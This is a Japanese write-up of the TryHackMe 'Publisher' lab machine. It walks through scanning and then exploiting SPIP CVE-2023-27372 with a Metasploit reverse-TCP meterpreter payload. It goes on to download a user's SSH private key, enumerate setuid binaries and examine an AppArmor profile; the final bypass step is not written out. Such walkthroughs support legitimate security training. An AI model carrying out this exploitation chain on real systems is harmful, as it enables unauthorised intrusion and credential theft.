TryHackMe Writeup：Publisher

# はじめに
本記事はTryHackMeのWriteupです。

Roomは[Publisher](https://tryhackme.com/r/room/publisher)、Difficulty（難易度）はEasyです。

このRoomでは、権限昇格に関するスキルについて学ぶことができます。

## ポートスキャン
はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

```console
##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-09 19:11 JST
Nmap scan report for 10.10.153.145
Host is up (0.27s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Publisher's Pulse: SPIP Insights & Tips
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.86 seconds
Scan completed
```

ポートスキャンの結果を基に調査を行います。

## 列挙
ポートスキャンの結果を踏まえて、80番ポートにアクセスすると、以下の様な画面が表示されます。

![スクリーンショット 2024-07-09 19.10.20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/122c5c60-c6e6-0a95-6b54-8f02c15b068b.png)

このページでは、特に興味深いものは見つからなかったため、引き続きコンテンツ探索を行います。

`$ gobuster dir -u http://<IP address>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt`

```console
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.153.145
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 315] [--> http://10.10.153.145/images/]
/spip                 (Status: 301) [Size: 313] [--> http://10.10.153.145/spip/]
Progress: 87664 / 87665 (100.00%)
===============================================================
Finished
===============================================================
```

上記コンテンツ探索の結果を踏まえて、`/spip`にアクセスするとPublisherと表示されている画面に遷移しました。

![スクリーンショット 2024-07-09 19.10.51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/7baee67c-d024-cd16-e624-26bee8fd80c4.png)

::: note
ワードリストについて`common.txt`ではSPIPを検出できなかったため、`directory-list-2.3-small.txt`に変更して検出しました。
:::

## 脆弱性分析
SPIP（Système de Publication pour Internet）は、Webサイトの公開を目的としたCMSのフリーソフトです。GPLライセンスのもと無料で利用できます。

https://www.spip.net/ja_article2939.html

`/spip`ページのソースを確認した結果、バージョンは4.2.0でした。`/spip`配下のファイルなども調査しましたが、利用できそうな情報は確認できなかったため、引き続きバージョン情報を基にGoogleで脆弱性を検索します。

![スクリーンショット 2024-07-09 19.32.03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/9015d9cc-376e-3528-22ab-336a005d4df2.png)

調査した結果、[CVE-2023-27372](https://nvd.nist.gov/vuln/detail/CVE-2023-27372)によるRemote Code Execution（RCE）の脆弱性が確認できました。

## システムハッキング
Metasploitを用いて足場を作ります。

### アクセスの獲得
msfconsoleを起動して、SPIPの脆弱性を確認します。

```console
msf6 > search spip

Matching Modules
================

   #  Name                                     Disclosure Date  Rank       Check  Description
   -  ----                                     ---------------  ----       -----  -----------
   0  exploit/unix/webapp/spip_connect_exec    2012-07-04       excellent  Yes    SPIP connect Parameter PHP Injection
   1  exploit/unix/webapp/spip_rce_form        2023-02-27       excellent  Yes    SPIP form PHP Injection
   2    \_ target: Automatic (PHP In-Memory)   .                .          .      .
   3    \_ target: Automatic (Unix In-Memory)  .                .          .      .


Interact with a module by name or index. For example info 3, use 3 or use exploit/unix/webapp/spip_rce_form
After interacting with a module you can manually set a TARGET with set TARGET 'Automatic (Unix In-Memory)'
```

2を選択します。

```console
msf6 > use 2
[*] Additionally setting TARGET => Automatic (PHP In-Memory)
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/spip_rce_form) > 
```

`show options`を確認して設定後、`exploit`を実行します。

```console
msf6 exploit(unix/webapp/spip_rce_form) > exploit

[*] Started reverse TCP handler on Your Ip address:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] SPIP Version detected: 4.2.0
[+] The target appears to be vulnerable.
[*] Got anti-csrf token: AKXEs4U6r36PZ5LnRZXtHvxQ/ZZYCXnJB2crlmVwgtlVVXwXn/MCLPMydXPZCL/WsMlnvbq2xARLr6toNbdfE/YV7egygXhx
[*] 10.10.153.145:80 - Attempting to exploit...
[*] Sending stage (39927 bytes) to 10.10.153.145
[*] Meterpreter session 1 opened (Your Ip address:4444 -> 10.10.153.145:38712) at 2024-07-09 19:44:14 +0900

meterpreter > 
```

www-dataユーザーのシェルを獲得しました。

```console
meterpreter > getuid
Server username: www-data
```

### ユーザーフラグ
`home`ディレクトリ配下を確認すると、thinkユーザーのディレクトリが確認できます。

```console
meterpreter > ls -l /home
Listing: /home
==============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040755/rwxr-xr-x  4096  dir   2024-02-11 06:27:54 +0900  think
```

移動して`ls`コマンドを実行すると、ユーザーフラグが確認できます。

```console
meterpreter > cd /home/think
meterpreter > ls
Listing: /home/think
====================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
020666/rw-rw-rw-  0     cha   2024-07-09 19:07:55 +0900  .bash_history
100644/rw-r--r--  220   fil   2023-11-14 17:57:26 +0900  .bash_logout
100644/rw-r--r--  3771  fil   2023-11-14 17:57:26 +0900  .bashrc
040700/rwx------  4096  dir   2023-11-14 17:57:24 +0900  .cache
040700/rwx------  4096  dir   2023-12-08 22:07:22 +0900  .config
040700/rwx------  4096  dir   2024-02-11 06:22:33 +0900  .gnupg
040775/rwxrwxr-x  4096  dir   2024-01-10 21:46:09 +0900  .local
100644/rw-r--r--  807   fil   2023-11-14 17:57:24 +0900  .profile
020666/rw-rw-rw-  0     cha   2024-07-09 19:07:55 +0900  .python_history
040755/rwxr-xr-x  4096  dir   2024-01-10 21:54:17 +0900  .ssh
020666/rw-rw-rw-  0     cha   2024-07-09 19:07:55 +0900  .viminfo
040750/rwxr-x---  4096  dir   2023-12-21 04:05:25 +0900  spip
100644/rw-r--r--  35    fil   2024-02-11 06:20:39 +0900  user.txt
```

### ルートフラグ
msfconsoleでは動きにくいため、thinkユーザーの認証情報を探索するにあたって、`.ssh`ディレクトリを調査すると、SSHの秘密鍵がありました。

```console
meterpreter > ls .ssh
Listing: .ssh
=============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  569   fil   2024-01-10 21:54:17 +0900  authorized_keys
100644/rw-r--r--  2602  fil   2024-01-10 21:48:14 +0900  id_rsa
100644/rw-r--r--  569   fil   2024-01-10 21:48:14 +0900  id_rsa.pub
```

ダウンロードします。

```console
meterpreter > download .ssh/id_rsa
[*] Downloading: .ssh/id_rsa -> /home/kali/id_rsa
[*] Downloaded 2.54 KiB of 2.54 KiB (100.0%): .ssh/id_rsa -> /home/kali/id_rsa
[*] Completed  : .ssh/id_rsa -> /home/kali/id_rsa

```

取得したSSHの秘密鍵を用いてマシンにログインします。

`ssh -i id_rsa think@<Machine's IP>`

setuidが付与されたファイルを検索するため、以下のコマンドを実行します。

`$ find / -perm -4000 2> /dev/null`

```console
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/sbin/pppd
/usr/sbin/run_container
/usr/bin/at
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/umount
```

上記結果を踏まえて、`/usr/sbin/run_container`ファイルを調査します。

`/usr/sbin/run_container`ファイルの権限は以下の通りです。setuidビットが付与されているため、このファイルを悪用することでルートフラグが狙えることは想像できます。

```console
-rwsr-sr-x 1 root root 16760 Nov 14  2023 /usr/sbin/run_container*
```

試しに`/usr/sbin/run_container`を実行します。

```console
List of Docker containers:
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up About an hour

Enter the ID of the container or leave blank to create a new one: 
/opt/run_container.sh: line 16: validate_container_id: command not found

OPTIONS:
1) Start Container
2) Stop Container
3) Restart Container
4) Create Container
5) Quit
Choose an action for a container: 1
Error response from daemon: page not found
Error: failed to start containers: 
```

出力結果を踏まえて、`/opt/run_container.sh: line 16: validate_container_id: command not found`のメッセージより`/opt/run_container.sh`ファイルを確認します。

```console
-rwxrwxrwx 1 root root 1715 Jan 10 12:40 /opt/run_container.sh*
```

`/opt/run_container.sh`ファイルを編集しようとしましたが、その他ユーザーについても権限はあるものの、編集することができません。なお、ファイルの中身は確認できます。

- /opt/run_container.sh

    ```shell
    #!/bin/bash
    
    # Function to list Docker containers
    list_containers() {
        if [ -z "$(docker ps -aq)" ]; then
    	docker run -d --restart always -p 8000:8000 -v /home/think:/home/think 4b5aec41d6ef;
        fi
        echo "List of Docker containers:"
        docker ps -a --format "ID: {{.ID}} | Name: {{.Names}} | Status: {{.Status}}"
        echo ""
    }
    
    # Function to prompt user for container ID
    prompt_container_id() {
        read -p "Enter the ID of the container or leave blank to create a new one: " container_id
        validate_container_id "$container_id"
    }
    
    # Function to display options and perform actions
    select_action() {
        echo ""
        echo "OPTIONS:"
        local container_id="$1"
        PS3="Choose an action for a container: "
        options=("Start Container" "Stop Container" "Restart Container" "Create Container" "Quit")
    
        select opt in "${options[@]}"; do
            case $REPLY in
                1) docker start "$container_id"; break ;;
                2) 	if [ $(docker ps -q | wc -l) -lt 2 ]; then
    	            echo "No enough containers are currently running."
        	            exit 1
    		fi
                    docker stop "$container_id"
                    break ;;
                3) docker restart "$container_id"; break ;;
                4) echo "Creating a new container..."
                   docker run -d --restart always -p 80:80 -v /home/think:/home/think spip-image:latest 
                   break ;;
                5) echo "Exiting..."; exit ;;
                *) echo "Invalid option. Please choose a valid option." ;;
            esac
        done
    }
    
    # Main script execution
    list_containers
    prompt_container_id  # Get the container ID from prompt_container_id function
    select_action "$container_id"  # Pass the container ID to select_action function
    ```

タスクの説明を参考にしながらSELinuxなどが有効になっていないか確認したところ、AppArmorが有効になっていることが確認できました。

`$ systemctl status apparmor`

```console
● apparmor.service - Load AppArmor profiles
     Loaded: loaded (/lib/systemd/system/apparmor.service; enabled; vendor preset: enabled)
     Active: active (exited) since Tue 2024-07-09 10:07:35 UTC; 1h 28min ago
       Docs: man:apparmor(7)
             https://gitlab.com/apparmor/apparmor/wikis/home/
    Process: 505 ExecStart=/lib/apparmor/apparmor.systemd reload (code=exited, status=0/SUCCESS)
   Main PID: 505 (code=exited, status=0/SUCCESS)
```

`$ apparmor_status` または`aa-status`

```console
apparmor module is loaded.
You do not have enough privilege to read the profile set.
```

`$ cat /sys/module/apparmor/parameters/enabled`

```console
Y
```

更に調査を進めると、AppArmorで現在設定されているプロファイルについても確認できました。

`$ cat /etc/apparmor.d/usr.sbin.ash`

```console
#include <tunables/global>

/usr/sbin/ash flags=(complain) {
  #include <abstractions/base>
  #include <abstractions/bash>
  #include <abstractions/consoles>
  #include <abstractions/nameservice>
  #include <abstractions/user-tmp>

  # Remove specific file path rules
  # Deny access to certain directories
  deny /opt/ r,
  deny /opt/** w,
  deny /tmp/** w,
  deny /dev/shm w,
  deny /var/tmp w,
  deny /home/** w,
  /usr/bin/** mrix,
  /usr/sbin/** mrix,

  # Simplified rule for accessing /home directory
  owner /home/** rix,
}
```

上記プロファイルの確認結果を踏まえて、ファイルの編集ができなかった理由について分かりました。また、ログインシェルもashになっていることが分かります。

```console
think:x:1000:1000:,,,:/home/think:/usr/sbin/ash
```

従ってルートフラグを取得するためには、AppArmorをバイパスすることです。

```console
uid=1000(think) gid=1000(think) euid=0(root) egid=0(root) groups=0(root),1000(think)
```

# おわりに
PEASS-ngのLinPEASをいくつかの手段で転送しようとしましたが、ファイルを書き込むことができなかったため、何かあるのかと思うなど面白いルームでした。

また、途中遠回りして`/home/think/spip/spip/config/bases/spip.sqlite`を取得して、sqliteでspip_auteursテーブルを確認するなど色々学びがありました。